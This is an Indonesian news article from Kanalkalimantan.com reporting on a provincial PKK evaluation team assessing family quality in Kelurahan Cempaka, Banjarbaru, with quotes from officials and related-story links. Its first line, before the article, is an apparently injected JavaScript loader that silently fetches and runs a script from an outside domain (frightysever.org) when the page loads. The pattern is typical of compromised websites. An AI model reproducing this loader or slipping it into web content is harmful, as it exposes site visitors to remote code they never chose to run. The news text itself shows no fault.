(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Tim Evaluasi Peningkatan Kualitas Keluarga (PKK) tingkat Provinsi Kalimantan Selatan (Kalsel) mendatangi Kelurahan Cempaka di Kecamatan Cempaka, Kota Banjarbaru untuk melakukan penilaian, Selasa (5/11/2024).
Kelurahan Cempaka menjadi salah satu kelurahan yang berkesempatan dinilai oleh tim evaluasi dari Dinas Pemberdayaan Perempuan, Perlindungan Anak, dan Keluarga Berencana (DP3AKB) Provinsi Kalsel bersama jajaran Tim Penggerak PKK Provinsi Kalsel.
Kegiatan penilaian berpusat di kantor Kelurahan Cempaka dengan dihadiri sekaligus dibuka oleh Pj Sekretaris Daerah Kota Banjarbaru Farhani mewakili Pjs Wali Kota Banjarbaru.
Baca juga: Banjir Peminat, Waktu Pendaftaran PLN Journalist Award 2024 Diperpanjang Hingga 14 November 2024
Farhani menjelaskan, Kelurahan Cempaka sudah menyiapkan untuk proses penilaian sejak jauh hari.
“Alhamdulillah Kelurahan Cempaka sudah jauh hari menyiapkan penilaian ini,” ujar Pj Sekretaris Daerah Kota Banjarbaru, Farhani.
Sebelumnya tahapan yang lalui adalah melakukan intervensi terhadap indikator hingga dimensi meliputi legalitas struktur, ketahanan fisik, ketahanan ekonomi, ketahanan sosial psikologis dan ketahanan sosial budaya.
Baca juga: Pemko Banjarbaru Raih Bhumandala Award 2024
Dengan masuknya tahapan penilaian, ia berharap dimensi-dimensi yang masuk penilaian bisa memberikan hasil yang memuaskan dengan angka yang meningkat.
“Jika ada beberapa penilaian yang kurang mungkin seperti ekonomi sudah diatasi dengan melakukan pembinaan-pembinaan di kelurahan ini oleh dinas terkait, semoga hasilnya memuaskan,” jelas dia.
Cempaka, katanya, dipilih untuk dilakukan penilaian, mengingat kelurahan ini merupakan salah satu kelurahan yang tergolong lama namun memiliki progres peningkatan keluarga yang cukup baik.
Baca juga: Persembahan HLN-79 PLN Salurkan Bantuan “Gerobak Cahaya” untuk UMKM
“Kemudian dari tingkat ekonomi hingga perkembangan UMKM memiliki progres grafiknya yang selalu baik dan mendukung untuk dilakukan penilaian,” ungkap Farhani.
Sementara itu Sri Mawarni, Kepala DP3AKB Provinsi Kalsel mengatakan, program penilaian ini dilakukan sebagai bentuk dukungan pemerintan untuk mewujudkan kualitas keluarga yang meningkat hingga mendekati sejahtera.
“Kita lihat saat sebelum dan sesudah penilaian ini peningkatannya sejauh mana,” ujar Kepala DP3AKB Provinsi Kalsel, Sri Mawarni.
Baca juga: Petani Sumardi Minta Dibebaskan Tanpa Bersyarat
Dia mengatakan, ada 29 indikator dan 5 dimensi yang masuk dalam penilaian. Diantaranya ada legalitas struktur, ketahanan fisik, ketahanan ekonomi, ketahanan sosial psikologis dan ketahanan sosial budaya.
Penilaian didasari dengan data verifikasi oleh tim penilai baik dari DP3AKB Provinsi Kalsel dan maupun jajaran TP PKK Provinsi Kalsel.
“Tentunya menjadi satu bentuk dukungan supaya kualitas keluarga semakin meningkat dengan mendekati kesejahteraan yang lebih bagus dan bermanfaat,” tuntasnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Sumardi (63), petani dari Desa Rantau Bakula, Kecamatan Sungai Pinang, Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, JAKARTA - Sidang Praperadilan Gubernur Kalimantan Selatan (Kalsel) Sahbirin Noor mulai digelar di Pengadilan… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - Memperingati Hari Listrik Nasional (HLN) ke-79, PT PLN (Persero) Unit Penyaluran dan… Read More
KANALKALIMANTAN.COM - Kebutuhan masyarakat Indonesia untuk transfer ke luar negeri semakin meningkat. Hal ini karena banyaknya… Read More
KANALKALIMANTAN.COM, JAKARTA - Menyambut tingginya antusiasme para jurnalis dalam berpartisipasi pada ajang PLN Journalist Award… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Kota Banjarmasin mengevaluasi beberapa hal pasca debat perdana… Read More
This website uses cookies.